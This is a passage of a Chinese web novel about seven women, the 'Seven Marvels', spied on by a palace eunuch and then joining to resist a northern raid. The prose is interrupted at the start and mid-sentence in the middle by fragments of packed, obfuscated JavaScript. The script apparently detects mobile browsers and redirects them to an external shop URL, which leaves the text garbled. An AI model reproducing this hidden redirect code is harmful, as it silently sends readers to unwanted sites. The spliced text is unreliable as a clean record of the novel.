l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334414|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明那个皇帝,怕了。 她转身走进楼里,关上门。 回到柜台后面,继续喝酒。 一碗接一碗。 喝到天亮。 腊月三十,除夕。 京城到处都是鞭炮声,到处都是欢声笑语。 可风月楼里很安静。 沈醉一个人坐在听梅阁的窗边,看着外面的街。 街上的狗少了。 不是走了,是藏得更深了。 她看得见。 那些藏在人群里的眼睛,那些假装买年货的人,那些蹲在角落里抽烟袋的。一个一个,都在盯着风月楼。 她笑了一下。 盯着吧。 盯到死。 远处传来钟声。 是皇城的方向。 除夕的钟声响了。 新的一年,来了。 沈醉举起酒碗,对着皇城的方向。 “皇帝,”她说,“新年好。明年这个时候,我再来给你拜年。” 她把酒喝了。 酒很烈,从喉咙一直辣到心里。 可她心里是热的。 因为她知道,明年这个时候,一切都会不一样。 那些狗,那些藏在暗处的眼睛,那些欺压她们的人,那些让她们活得像狗一样的世道—— 都会变。 一定会的。 窗外,鞭炮声更响了。 烟花一朵一朵在夜空中炸开,五颜六色的,照亮了整个京城。 沈醉看着那些烟花,忽然想起那天晚上,七盏酒碰在一起,积雪震落。 那是她们的开始。 现在,真正的较量,要开始了。 她站起身,推开窗。 冷风灌进来,吹得她头发飞扬。 她对着夜空,大声说了一句话。 “来啊!老娘等着!” 夜空中,烟花炸开,像在回应她。 远处,皇城的某个角落,刘公公站在窗前,听着那隐隐约约的喊声,脸色铁青。 他身边站着那个黑衣人。 “她……她就是这么喊的。”黑衣人结结巴巴地说。 刘公公沉默了很久。 然后他笑了。 笑得阴恻恻的。 “好,”他说,“好一个沈醉。好一个风月楼。” 他转过身,看着黑衣人。 “去,”他说,“调更多的人。从今天起,我要风月楼里里外外,一只苍蝇都飞不进去。” 黑衣人应声而去。 刘公公站在窗前,看着远处的烟花。 “谢知微,”他喃喃说,“沈醉,还有那些女人。你们以为,你们能翻天?” 他冷笑一声。 “做梦。” 除夕夜,京城,烟花满天。 有人欢笑,有人守岁,有人团圆。 也有人站在暗处,盯着另外的人。 还有人站在窗前,等着那些暗处的人动手。 风月楼里,沈醉喝完了最后一碗酒。 她把酒碗往桌上一放,站起身,走下楼,走进后院。 后院的井台边,站着一个人。 是谢知微。 沈醉愣了一下,然后笑了。 “谢相,”她说,“大过年的,您不在宫里待着,跑我这来做什么?” 谢知微转过身,看着她。 “来看看你。”她说。 沈醉走过去,站在她身边。 两个人看着那口井。 井水黑沉沉的,映着天上的烟花。 谢知微说:“那些狗,越来越多了。” 沈醉点点头。 谢知微说:“刘公公那个人,我了解。他不会善罢甘休。” 沈醉说:“我知道。” 谢知微看着她。 “怕吗?” 沈醉想了想。 “怕。”她说,“可更怕一辈子就这样。” 谢知微笑了。 她笑得很轻,很淡,像风里的雪花。 “我也是。”她说。 两个人站在井台边,谁也没有说话。 烟花一朵一朵在夜空中炸开,照亮她们的脸。 一个是白发如雪,相中狼。 一个是红衣如火,酒中仙。 两个从死人堆里爬出来的女人。 两个不甘心的人。 过了很久,谢知微开口了。 “沈醉,”她说,“你知道我最怕什么吗?” 沈醉摇摇头。 谢知微说:“我最怕的,不是死。是死了之后,没人记得我娘,没人记得那些死了的人,没人记得咱们为什么活着。” 沈醉看着她。 谢知微继续说:“所以我得活着。活到那一天。活到有人记得。” 沈醉点点头。 “我也是。”她说,“我娘死的时候,我才八岁。她的脸我早就记不清了。可我记得她最后看我的那个眼神。那个眼神告诉我,得活着。得替她活着。” 谢知微伸出手,在她手背上拍了拍。 沈醉也伸出手,在她手背上拍了拍。 两个女人,两只手,在夜色里握在一起。 烟花还在炸。 狗还在暗处盯着。 皇帝还在宫里等着。 刘公公还在调兵遣将。 可她们不怕。 因为她们不是一个人。 是七个人。 七条命。 一条船。 远处传来鸡鸣。 天快亮了。 除夕夜过去,新的一年来了。 谢知微松开手。 “我该走了。”她说。 沈醉点点头。 谢知微转身,走了几步,忽然停下来,回过头。 “沈醉,”她说,“保重。” 沈醉笑了。 “保重。”她说。 谢知微消失在夜色里。 沈醉站在井台边,看着她的背影消失。 然后她抬起头,看着天边那一线灰白。 天亮了。 新的一年,来了。 她转身走进楼里,开始收拾。 因为今天,会有客人来。 那些客人,不是来喝酒的。 是来拼命的。 可那又怎样? 她沈醉,从八岁那年,就开始拼命了。 拼了二十多年,还怕再拼几年? 窗外的鞭炮声还在响。 她听着那响声,忽然笑了。 “皇帝,”她轻声说,“你那些狗,能咬死我吗?” 她摇摇头。 “咬不死。” “因为老娘是疯狗。” “疯狗,不怕死。” ——第八章完—— 10. 七绝之名 第九章七绝之名 承安十一年,正月初七。 人日。 京城的大街小巷还残留着过年的喜气,门上的春联红彤彤的,地上的鞭炮屑还没来得及扫净。孩子们穿着新衣裳跑来跑去,手里攥着糖葫芦,笑声一串一串的。 可皇城司的大牢里,没有笑声。 只有惨叫。 刘公公坐在椅子上,翘着二郎腿,慢悠悠地喝着茶。他面前跪着三个人,都是他派出去盯梢的探子。三个人身上都带了伤,血糊了满脸,跪在那儿直哆嗦。 “说吧,”刘公公吹了吹茶叶,“都听见什么了?” 领头的那个探子抬起头,结结巴巴地说:“回……回公公,小的们这些天日夜盯着,风月楼那边……那边……” “那边怎么?” “那边……那边来了几个女人……” 刘公公眼睛一眯:“几个?” “七……七个。腊月二十八那天晚上,聚在风月楼的听梅阁,待了大半夜。小的们想靠近听,可……可风月楼那些人防得太严,根本近不了身……” 刘公公把茶盏往桌上一顿。 “七个女人,”他说,“聚了一夜。你们盯了这么多天,就盯出这么点东西?” 探子们吓得趴在地上,不敢吭声。 刘公公站起来,走到他们面前,低头看着他们。 “七个女人,”他慢慢说,“什么模样?什么打扮?什么来历?” 探子们面面相觑。 “有……有一个穿官服的,头发白了……” 刘公公眼神一凛。 谢知微。 “还有呢?” “还有一个穿红衣裳的,是风月楼的老板娘……还有一个穿黑衣服的,带着剑……还有一个背着药箱的……还有一个穿绸衫的,看着像有钱人……还有一个瞎了眼的……还有一个抱着琴的……” 刘公公听完,沉默了很久。 七个女人。 穿官服的谢知微。 穿红衣的沈醉。 带剑的那个,他听说过——霜冷剑阁的谢霜寒,杀人不眨眼的女魔头。 背药箱的那个,他也听说过——医谷的白芷,医术通神,据说能活死人肉白骨。 穿绸衫的那个,他更听说过——江南首富苏锦,商场上吃人不吐骨头的狐狸精。 瞎眼的那个,他听说过——绣坊的云娘,眼睛虽然瞎了,手却比明眼人还巧。 抱琴的那个,他更知道——教坊司的花解语,一曲《广陵散》名动京城。 七个女人。 七个名动天下的女人。 七个—— 全是女子的女人。 刘公公忽然笑了。 笑得阴恻恻的,笑得那三个探子毛骨悚然。 “好啊,”他说,“好啊。大燕七绝,原来在这儿等着呢。” 他转过身,大步往外走。 走到门口,忽然停下来,回过头。 “你们三个,”他说,“留着也没用了。” 三个探子的脸色一下子白了。 “公公饶命!公公饶命!” 刘公公挥了挥手。 侍卫们冲进来,把他们拖了出去。 惨叫声越来越远,渐渐消失了。 刘公公站在门口,眯着眼睛,看着外面的天。 天灰蒙蒙的,像要下雪。 “来人,”他说,“备轿,进宫。” 正月初七,申时三刻。 乾元殿。 皇帝歪在榻上,正听几个太监唱曲儿。唱的是《长生殿》,咿咿呀呀的,皇帝听得摇头晃脑,手指在膝盖上打着拍子。 刘公公进来的时候,皇帝正听到兴头上,不耐烦地摆了摆手。 刘公公没动。 皇帝看了他一眼,见他脸色不对,挥挥手让太监们下去。 “怎么了?”皇帝问,“大过年的,谁又惹你了?” 刘公公上前几步,跪下来。 “陛下,”他说,“臣有要事禀报。” 皇帝打了个哈欠:“说。” 刘公公抬起头,一字一字说:“陛下可听说过,大燕七绝?” 皇帝愣了一下。 “大燕七绝?”他想了想,“朕好像听说过,是江湖上几个能人异士吧?怎么,他们惹事了?” 刘公公摇摇头。 “陛下,”他说,“大燕七绝,不是‘他们’。” 皇帝问:“那是什么?” 刘公公说:“是‘她们’。” 皇帝没听明白。 刘公公继续说:“酒中仙、剑中霜、医中圣、商中狐、绣中魂、乐中妖、相中狼——这七个称号,陛下可听说过?” 皇帝点点头:“听说过。怎么了?” 刘公公说:“这七个人,全是女子。” 皇帝愣了一下。 然后他笑了。 “女子?”他说,“刘伴儿,你糊涂了吧?那相中狼说的可是谢爱卿?谢爱卿是女子不假,可那什么酒中仙剑中霜的,怎么会是女子?” 刘公公说:“陛下,臣查过了。酒中仙是风月楼老板娘沈醉,剑中霜是霜冷剑阁阁主谢霜寒,医中圣是医谷传人白芷,商中狐是江南首富苏锦,绣中魂是绣坊主人云娘,乐中妖是教坊司乐师花解语。” 他一口气说完,然后看着皇帝。 皇帝的笑容僵在脸上。 “你……你说什么?”他慢慢坐直了身子,“这几个女人,就是大燕七绝?” 刘公公点头。 “她们……她们聚在一起干什么?” 刘公公说:“腊月二十八那天晚上,这七个人在风月楼聚了一夜。臣派人盯着,可风月楼防得太严,什么都听不到。” 皇帝的脸色变了。 他想起谢知微那天晚上不在宫里。 他想起谢知微最近看他的眼神。 他想起那些奏折,那些他懒得看的政务,那些谢知微替他处理的事。 “她们想干什么?”他喃喃说。 刘公公没有回答。 皇帝忽然站起来,走到案前,拿起一摞奏折,狠狠摔在地上。 “查!”他吼道,“给朕查清楚这七人是谁!她们想干什么!谁指使的!背后还有什么人!” 奏折散了一地,白纸黑字,一片狼藉。 刘公公跪在地上,头都不敢抬。 “臣……臣遵旨。” 皇帝喘着粗气,在殿里走来走去。 “谢知微,”他咬牙切齿地说,“朕待你不薄,你竟然……你竟然……” 他忽然停下来。 “刘伴儿,”他说,“你说,她们聚在一起,想干什么?” 刘公公小心翼翼地说:“臣……臣不知。但臣以为,不可不防。” 皇帝点点头。 “防,”他说,“当然要防。派人盯着,日夜盯着。还有那几个女人,一个一个查,查她们的底细,查她们的来往,查她们的一切!” 刘公公应声而去。 皇帝一个人站在殿里,看着地上散落的奏折。 他忽然觉得有些冷。 明明殿里烧着地龙,暖得像夏天,可他就是觉得冷。 从骨头缝里往外冒的冷。 “谢知微,”他喃喃说,“你到底想干什么?” 没有人回答。 只有奏折散落一地,白纸黑字,像无数只眼睛,正在看着他。 正月初八。 京城的大街小巷,忽然传开了一个消息。 “听说了吗?大燕七绝,全是女子!” “什么?那酒中仙是女的?” “可不是嘛!风月楼的老板娘,沈醉!” “剑中霜也是女的?那个杀人不眨眼的女魔头?” “霜冷剑阁阁主,谢霜寒,女的!” “医中圣也是女的?那个能活死人肉白皮的活神仙?” “医谷传人,白芷,女的!” “商中狐呢?那个吃人不吐骨头的狐狸精?” “江南首富,苏锦,女的!” “绣中魂呢?那个瞎子?” “绣坊主人,云娘,女的!眼睛虽然瞎了,手比明眼人还巧!” “乐中妖呢?那个弹琴的?” “教坊司的花解语,女的!” “相中狼呢?” “宰相谢知微,女的!” “七个全是女子?” “七个全是女子!” 消息像长了翅膀一样,飞快地传遍京城的大街小巷。茶馆里,酒楼里,戏园子里,胭脂铺子里,到处都在议论。 有人震惊,有人不信,有人拍案叫绝,有人破口大骂。 “女子?女子也配叫绝?” “怎么不配?那谢霜寒杀了多少北狄人?那苏锦赚了多少银子?那白芷救了多少人命?” “可她们是女子!女子就该在家相夫教子,抛头露面成何体统!” “相夫教子?她丈夫在哪儿?她儿子在哪儿?你给她们找?” “你——你这是强词夺理!” “我强词夺理?是你老脑筋!” 争论声此起彼伏,吵得沸反盈天。 有人把这些话传到皇城司,传到刘公公耳朵里。 刘公公听了,沉默了很久。 然后他笑了。 “好啊,”他说,“传得越快越好。传得越广越好。我倒要看看,这几个女人,能翻得了什么天。” 正月初九。 风月楼。 沈醉坐在听梅阁的窗边,听李三娘说完外面的传言,笑了。 “传得真快。”她说。 李三娘问:“老板娘,要不要管管?” 沈醉摇摇头:“管什么?让她们传。传得越广越好。” 李三娘不解。 沈醉看着她,说:“三娘,你知道为什么那些男人最怕什么吗?” 李三娘摇头。 沈醉说:“最怕的,不是我们杀人,不是我们放火,不是我们造反。最怕的,是我们说话。” 她站起来,走到窗边,推开窗。 外面是熙熙攘攘的街市,人来人往。 “他们可以杀我们,可以关我们,可以挖我们的眼睛,可以把我们卖进窑子。可他们堵不住我们的嘴。” 她回过头,看着李三娘。 “只要有人说话,就有人听。只要有人听,就有人想。只要有人想,就有人做。” 李三娘看着她,忽然觉得,今天的老板娘,和往常不太一样。 不是那个醉醺醺的沈醉了。 是一个清醒的、亮得刺眼的沈醉。 沈醉关上窗,回到桌边,给自己倒了一碗酒。 “让他们传去吧,”她说,“传到那个皇帝耳朵里更好。让他听听,这天下有多少人,在替我们说话。” 她把酒一饮而尽。 正月初十。 医谷。 白芷坐在堂屋里,给阿苓喂药。 阿茴从外面跑进来,气喘吁吁地说:“姐姐!姐姐!外面都在传!说你们七个是大燕七绝!全是女子!” 白芷手一顿。 阿苓趁机把药吐了出来。 白芷没顾上管她,看着阿茴:“传什么?” 阿茴把听来的话说了一遍。 白芷听完,沉默了一会儿。 然后她笑了。 “传就传吧,”她说,“反正也瞒不住。” 阿茴问:“姐姐,您不怕吗?” 白芷看着她。 “怕什么?” 阿茴说:“怕……怕官府来抓您。” 白芷想了想,说:“阿茴,你知道我这些年,是怎么活下来的吗?” 阿茴摇头。 白芷说:“就是靠不怕。怕,就活不到今天。” 她低下头,继续给阿苓喂药。 阿苓这次乖乖喝了。 喝完,她仰起小脸,问:“姐姐,什么是大燕七绝?” 白芷看着她,轻轻摸了摸她的头。 “就是七个不认命的女子。”她说。 正月十一。 霜冷剑阁。 谢霜寒站在院子里,看着天边的云。 阿蘅从屋里跑出来,手里拿着一封信。 “阁主!阁主!京城的信!” 谢霜寒接过信,拆开。 信是沈醉写的,只有一行字:七绝之名,天下皆知。狗急跳墙,各自小心。 她把信烧了,继续看着天边的云。 阿蘅站在她身边,小心翼翼地问:“阁主,出什么事了?” 谢霜寒摇摇头。 “没事。”她说,“只是有人想找死。” 阿蘅不明白。 谢霜寒低头看着她。 “阿蘅,”她说,“从今天起,练剑的时间加一个时辰。” 阿蘅愣了一下:“为什么?” 谢霜寒说:“因为很快,就会有很多人来找死。” 正月十二。 江南,扬州。 苏锦坐在账房里,听阿福说完京城的消息,笑得前仰后合。 “好!”她拍着桌子,“传得好!传得太好了!” 阿福一脸懵:“大小姐,您不担心?” 苏锦收了笑,看着他。 “担心什么?” 阿福说:“担心……担心官府找麻烦。” 苏锦站起来,走到窗前,看着外面的院子。 院子里堆满了年货,红红绿绿的,看着就喜庆。 “阿福,”她说,“你知道我这些年是怎么做到江南首富的吗?” 阿福摇头。 苏锦说:“就是靠让别人担心。我从来不担心,只让别人担心。” 她回过头,看着阿福。 “那些官,欠我多少银子?那些账本,在我手里攥着。他们敢动我?他们巴不得我活得好好的,好继续借钱给他们。” 阿福恍然大悟。 苏锦摆摆手:“去吧,该干嘛干嘛。让那些人传去,传得越远越好。最好传到那些欠我钱的人耳朵里,让他们知道,我苏锦不是好惹的。” 正月十三。 京城,甜水巷。 云娘坐在绣坊里,听阿桑说完外面的传言,没有说话。 阿桑有些着急:“云娘,您不着急吗?” 云娘摇摇头。 “急什么?”她说,“我又看不见。” 阿桑愣了一下,不知该说什么。 云娘摸索着拿起针,继续绣。 她绣的是一朵梅花,针脚细密,栩栩如生。 “阿桑,”她说,“你知道我为什么教你们绣花吗?” 阿桑说:“为了……为了活下去?” 云娘点点头,又摇摇头。 “为了活下去,也对。可还有一层。” 阿桑问:“什么?” 云娘说:“为了让那些看不起我们的人,有一天死在我们绣的花里。” 阿桑倒吸一口凉气。 云娘笑了。 “怕了?”她问。 阿桑咬着嘴唇,摇摇头。 云娘说:“不怕就好。从今天起,我教你绣新东西。” 阿桑问:“绣什么?” 云娘说:“绣刀。” 正月十四。 教坊司。 花解语坐在窗前,手指搭在琴弦上。 外面传来脚步声,是周嬷嬷。 “花姑娘!”周嬷嬷推门进来,脸上带着笑,可那笑比哭还难看,“外头那些传言,您听说了吗?” 花解语点点头。 周嬷嬷搓着手,欲言又止。 花解语看着她,笑了。 “周嬷嬷,”她说,“您是想问我,是不是真的?” 周嬷嬷点点头。 花解语说:“是真的。” 周嬷嬷的脸色变了。 花解语继续说:“我就是那个乐中妖。您想怎样?” 周嬷嬷张了张嘴,什么都说不出来。 花解语收回目光,手指拨了一下琴弦。 “嗡——” 一声低鸣。 “周嬷嬷,”她说,“您放心,我不会连累教坊司的。很快,我就不会再在这儿了。” 周嬷嬷愣了一下:“您……您要去哪儿?” 花解语没有回答。 她只是继续弹琴。 《广陵散》。 曲子里藏着密语,藏在每一个音符里。 那些密语说的是:准备好了。 正月十五。 元宵节。 京城张灯结彩,火树银花。 风月楼的灯笼比平时多了三倍,红彤彤的一片,照得半条街都亮堂堂的。 沈醉站在门口,看着来来往往的人。 客人比平时多了三倍,都是来凑热闹的。 她听见有人在议论。 “看见了吗?那就是酒中仙!” “哪个?穿红衣裳的那个?” “对!就是她!” “长得挺好看的嘛!” “好看有什么用?听说是个寡妇,命硬,克夫!” “克夫?她嫁过人吗?” “不知道,反正都这么说。” 沈醉听着,笑了。 克夫? 她连夫都没有,克什么克? 可那些人就爱这么说。说女子命硬,说女子克夫,说女子不祥。好像女子天生就是灾星,什么坏事都是女子招来的。 她懒得理他们。 转身走进楼里,上了三楼,进了听梅阁。 屋里坐着一个人。 谢知微。 沈醉愣了一下,然后笑了。 “谢相,”她说,“元宵节不在宫里陪皇上,跑我这来做什么?” 谢知微看着她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334415|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“来看看你。”她说,“顺便告诉你一件事。” 沈醉坐下来,给自己倒了一碗酒。 “说。” 谢知微说:“皇帝摔了奏折。” 沈醉手一顿。 谢知微继续说:“他让刘公公查,查清楚你们七个是谁。” 沈醉沉默了一会儿。 然后她笑了。 “查就查呗,”她说,“反正也瞒不住。” 谢知微看着她。 “你不怕?” 沈醉说:“怕什么?我这条命,早就不想要了。” 谢知微点点头。 “我也是。”她说。 两个人坐着,喝着酒。 窗外,烟花炸开,照亮了整个夜空。 沈醉看着那些烟花,忽然说:“谢相,你说十年后,会有人记得咱们吗?” 谢知微想了想。 “会。”她说,“会有人记得的。” 沈醉问:“你怎么知道?” 谢知微说:“因为我不会让她们忘。” 沈醉看着她,忽然笑了。 “谢相,”她说,“你真是个疯子。” 谢知微也笑了。 “彼此彼此。” 两个人碰了一下酒碗。 窗外,烟花更盛了。 正月十六。 早朝。 皇帝坐在龙椅上,脸色阴沉得能滴出水来。 下面的大臣们一个个低着头,大气都不敢出。 “朕听说,”皇帝慢慢开口,“最近民间有些传言。说什么大燕七绝,全是女子。你们可听说了?” 大臣们面面相觑。 户部尚书站出来,小心翼翼地说:“回陛下,臣……臣略有耳闻。” 皇帝看着他:“略有耳闻?那你告诉朕,这些传言是真是假?” 户部尚书额头冒出冷汗。 “这……这臣不知……” 皇帝冷笑一声。 “不知?你们什么都不知道!朕养你们这些废物有什么用!” 他抓起案上的奏折,狠狠摔下去。 奏折散了一地。 “查!”他吼道,“给朕查清楚这七人是谁!她们想干什么!谁指使的!背后还有什么人!” 大臣们跪了一地,齐声说:“臣遵旨!” 皇帝喘着粗气,坐在龙椅上。 他看着下面那些跪着的人,忽然觉得,这满朝文武,没有一个可信的。 只有那些女人。 那些他从来不当回事的女人。 可那些女人,现在成了他的心腹大患。 “谢知微呢?”他忽然问。 刘公公上前一步:“回陛下,谢相今日告病,没来上朝。” 皇帝愣了一下。 告病? 他冷笑一声。 “告病好,”他说,“让她告。告诉她,好好养病,养好了,朕还有话问她。” 刘公公应了一声。 皇帝站起来,拂袖而去。 早朝散了。 大臣们三三两两往外走,交头接耳地议论着。 “那传言是真的?” “不知道啊,可看陛下的样子,八九不离十。” “七个女子?这也太……” “太什么?太吓人?” “不是吓人,是……是荒唐。” “荒唐?我倒觉得挺有意思。七个女子,能把陛下吓成这样?” “嘘!你不要命了?” 议论声渐渐远去。 皇城上空,天灰蒙蒙的,像要下雪。 可雪没有下。 只是风,冷冷地刮着。 正月十七。 谢知微的“病”还没好。 她坐在值房里,批着奏折。 案头堆着厚厚一摞,都是这几天积下来的。她一本一本看过去,一本一本批过去,手边的朱砂用掉半盒。 青棠进来添茶,小声说:“娘娘,刘公公派人来了,说想见您。” 谢知微头也不抬:“不见。就说我病着,怕过了病气给他。” 青棠应了一声,出去了。 过了一会儿,又进来。 “娘娘,皇城司的人也来了,说想请您过去问话。” 谢知微抬起头。 “问话?”她笑了,“让他们等着。等我病好了再说。” 青棠又出去了。 谢知微继续批奏折。 批着批着,她忽然停下来。 窗外有人在盯着她。 皇城司的狗,一天十二个时辰,轮班盯着。 她冷笑一声,继续批。 笔尖划过宣纸,朱砂红得刺目。 她忽然想起那天晚上,七盏酒碰在一起,积雪震落。 那是七天前的事。 可这七天,比七年还长。 那些传言,那些查问,那些盯着她的眼睛。 都在告诉她一件事。 真正的较量,开始了。 她不怕。 怕什么? 她这条命,从七岁那年就开始赌。 赌了二十三年,还怕再赌一次? 窗外,天黑了。 她点上蜡烛,继续批。 烛火摇曳,照着她那一头白发。 白得像雪。 白得像那些死了的人。 可她还活着。 她还得活着。 活到那一天。 活到有人记得。 活到那些死了的人,能瞑目。 夜深了。 风月楼的灯笼还亮着。 沈醉站在窗边,看着皇城的方向。 她知道,那个皇帝,不会善罢甘休。 她知道,那些狗,会越来越多。 她不怕。 怕什么? 她这条命,早就准备好了。 准备好了换一个活法。 准备好了让那些人看看,女子,也能翻天。 远处传来梆子声。 三更天了。 她关上窗,转身下楼。 楼下的客人都散了,伙计们在收拾桌子。 她看着他们,忽然说:“从明天起,风月楼歇业三天。” 伙计们愣住了。 “老板娘,为什么?” 沈醉说:“因为有人要来砸场子。” 伙计们面面相觑。 沈醉笑了。 “放心,”她说,“有我在,砸不了。” 她转身走进后院。 后院的井台边,站着一个人。 是谢霜寒。 沈醉愣了一下。 “谢阁主?”她说,“你怎么来了?” 谢霜寒看着她。 “来看看。”她说。 沈醉走过去,站在她身边。 两个人看着那口井。 井水黑沉沉的,映着天上的星星。 谢霜寒忽然说:“我杀过人,很多。” 沈醉点点头。 谢霜寒说:“可我不知道,这次要杀多少。” 沈醉看着她。 “怕了?” 谢霜寒摇摇头。 “不怕。”她说,“只是累了。” 沈醉沉默了一会儿。 然后她伸出手,在谢霜寒肩上拍了拍。 “累了就歇歇。”她说,“有我们呢。” 谢霜寒看着她,难得地露出一点笑。 “你也是。”她说。 两个人站在井台边,谁也没有说话。 夜风吹过来,凉丝丝的。 可她们心里是热的。 因为她们知道,不管明天来的是什么,她们都准备好了。 准备好了拼命。 准备好了换一个活法。 准备好了让那些人看看—— 大燕七绝,全是女子。 那又怎样? 远处,皇城里,皇帝翻来覆去睡不着。 他眼前总是浮现谢知微那张脸。 那张脸冷冷的,淡淡的,看着他的时候,像看着一个死人。 他忽然坐起来。 “来人!” 刘公公跑进来。 “陛下?” 皇帝说:“传朕旨意,从明天起,加强宫禁。没有朕的旨意,任何人不得出入。” 刘公公愣了一下:“陛下,这……” 皇帝瞪着他:“怎么?听不懂?” 刘公公连忙跪下:“臣遵旨!” 皇帝躺下去,盯着帐顶。 帐顶上绣着龙凤,金灿灿的,晃得他眼晕。 他闭上眼睛。 可眼前还是那张脸。 谢知微的脸。 冷冷地,淡淡地,看着他。 像看着一个死人。 ——第九章完—— 【第一幕·暗流涌动】终 11. 七人首次合作 承安十一年,二月初二。 龙抬头。 本该是春耕开始、万物复苏的日子。 可边关传来的战报,让整个京城都蒙上了一层阴影。 北狄先锋营三万骑兵,绕过雁门关,从一条鲜为人知的山间小道突入关内,一夜之间连破三座村镇,烧杀抢掠,鸡犬不留。 战报送到乾元殿的时候,皇帝正在用早膳。 他看了一眼战报,手里的筷子掉在桌上。 “三……三万?”他结结巴巴地说,“北狄人怎么进来的?边关的守将呢?都是干什么吃的?” 送战报的将军跪在地上,头都不敢抬。 “回陛下,北狄人走的是鹰愁涧那条小道,那条路太险,我军……我军没有设防……” 皇帝拍案而起。 “没有设防?那你们设了什么?设了饭桶吗?” 将军磕头如捣蒜。 皇帝喘着粗气,在殿里走来走去。 走了几圈,他忽然停下来。 “谢知微呢?”他问,“让她来见朕。” 刘公公小心翼翼地说:“陛下,谢相……还病着。” 皇帝愣了一下。 病着。 对了,她病了。 从正月十六开始,一直病到现在。 可她真的是病了吗? 皇帝眯起眼睛。 “传朕旨意,”他说,“让谢知微即刻进宫。就说边关告急,让她来议事。” 刘公公应声而去。 半个时辰后,谢知微出现在乾元殿。 她穿着一身半旧的朝服,脸色有些苍白,但眼睛还是那么亮,亮得像刀。 皇帝看着她,心里忽然有些发虚。 “谢爱卿,”他说,“你的病好了?” 谢知微行了一礼:“托陛下洪福,好多了。” 皇帝点点头,把战报递给她。 “你看看。” 谢知微接过战报,从头到尾看了一遍。 看完,她抬起头,看着皇帝。 “陛下打算怎么办?” 皇帝说:“朕正要问你。你是宰相,你说怎么办?” 谢知微沉默了一会儿。 “陛下,”她说,“北狄先锋营突入关内,雁门关守军不敢轻出,怕中了调虎离山之计。眼下能用的,只有京城附近的驻军。可那些驻军要赶到事发地,最快也要三天。” 皇帝的脸色变了。 “三天?三天时间,北狄人能杀多少人?” 谢知微说:“很多。” 皇帝急得团团转。 “那怎么办?你说怎么办?” 谢知微看着他,忽然说:“陛下,臣有一个办法。” 皇帝连忙问:“什么办法?” 谢知微说:“臣需要调动一些人。这些人不在军中,但在边关附近。只要陛下给臣一道手谕,臣可以在两日之内,拖住北狄人。” 皇帝愣住了。 “不在军中?那是些什么人?” 谢知微说:“江湖人士。臣在边关有些故交,他们可以帮忙。” 皇帝盯着她,看了很久。 “谢知微,”他说,“你不会是在算计朕吧?” 谢知微迎着他的目光,不躲不闪。 “陛下,”她说,“边关三万百姓的命,臣不敢拿来算计。” 皇帝沉默了。 殿里静得可怕。 过了很久,皇帝终于开口。 “好,”他说,“朕信你一次。手谕朕给你。可你要记住——如果出了差错,朕唯你是问。” 谢知微跪下,叩首。 “臣遵旨。” 她接过手谕,退出乾元殿。 走出宫门,她抬起头,看着灰蒙蒙的天。 北狄先锋营。 三万骑兵。 三座村镇被屠。 那些数字在她脑子里转来转去,转得她头疼。 可她不能头疼。 她得想办法。 她想起一个人。 谢霜寒。 霜冷剑阁就在雁门关外,离北狄人最近。 她应该已经知道了。 可她一个人,能做什么? 谢知微快步往值房走。 边走边想。 一个人不够。 那就七个人。 她推开值房的门,走到案前,铺开纸,开始写信。 第一封,给谢霜寒:北狄先锋营入境,你那边情况如何?我需要你拖住他们,至少两天。 第二封,给沈醉:带上你的人,准备去边关。你的醉拳,能派上用场。 第三封,给白芷:带足毒药。北狄人怕毒。 第四封,给苏锦:你认识的人多,想办法在边关放火。北狄人的粮草辎重,烧了最好。 第五封,给云娘:你的绣坊里,有没有能传信的人?边关那边,需要有人传递消息。 第六封,给花解语:带上你的琴。北狄人怕鬼,你给他们弹一曲。 七封信,七个人。 她叫来青棠,让她立刻送出去。 然后她坐下来,等着。 等着那七个人,第一次真正地,一起做事。 二月初三,夜。 霜冷剑阁。 谢霜寒站在院子里,看着远处的火光。 那是北狄人烧的村子。 离她这里,只有三十里。 阿蘅站在她身边,小脸绷得紧紧的。 “阁主,”她说,“咱们怎么办?” 谢霜寒没有说话。 她不知道怎么办。 她一个人,一把剑,能杀多少北狄人? 一百?两百? 可北狄人有三万。 她杀不完。 可让她眼睁睁看着那些村子被烧,那些人被杀,她做不到。 她握紧剑柄。 正要往外走,忽然听见马蹄声。 一匹马从夜色里冲出来,马上的人翻身下马,跑到她面前。 是青棠。 “谢阁主,”青棠气喘吁吁地说,“娘娘的信!” 谢霜寒接过信,拆开。 借着火光,她看完那封信。 然后她抬起头,看着远处的火光。 眼睛里有什么东西,闪了一下。 “阿蘅,”她说,“去准备一下。” 阿蘅问:“准备什么?” 谢霜寒说:“准备等人。” 二月初四,辰时。 风月楼。 沈醉看完信,把信烧了。 “三娘,”她说,“叫上咱们的人,准备出发。” 李三娘愣了一下:“老板娘,去哪儿?” 沈醉说:“边关。” 李三娘脸色变了:“边关?那边在打仗……” 沈醉看着她,笑了。 “打仗怎么了?”她说,“老娘打过的架,还少吗?” 李三娘张了张嘴,说不出话来。 沈醉拍了拍她的肩。 “放心,”她说,“死不了。” 二月初四,午时。 医谷。 白芷看完信,开始收拾东西。 药。针。毒。 她一边收拾,一边想。 毒烟。 用什么毒好? 北狄人怕什么? 她想起师父说过的话:北狄人常年吃肉,不习惯草药的气味。用曼陀罗配断肠草,烧出来的烟,能让他们头晕眼花,四肢无力。 她开始配药。 阿茴在旁边看着,一句话都不敢说。 阿苓跑过来,拉着她的衣角。 “姐姐,你要去哪儿?” 白芷蹲下来,看着她。 “姐姐去办点事,”她说,“很快就回来。” 阿苓点点头,可眼泪已经在眼眶里打转。 白芷把她抱进怀里,抱了一会儿。 然后松开,站起来,背起药箱。 “阿茴,”她说,“照顾好阿苓。” 阿茴用力点头。 白芷走出门,走进风里。 二月初四,申时。 江南,扬州。 苏锦看完信,笑了。 “放火?”她说,“这个我擅长。” 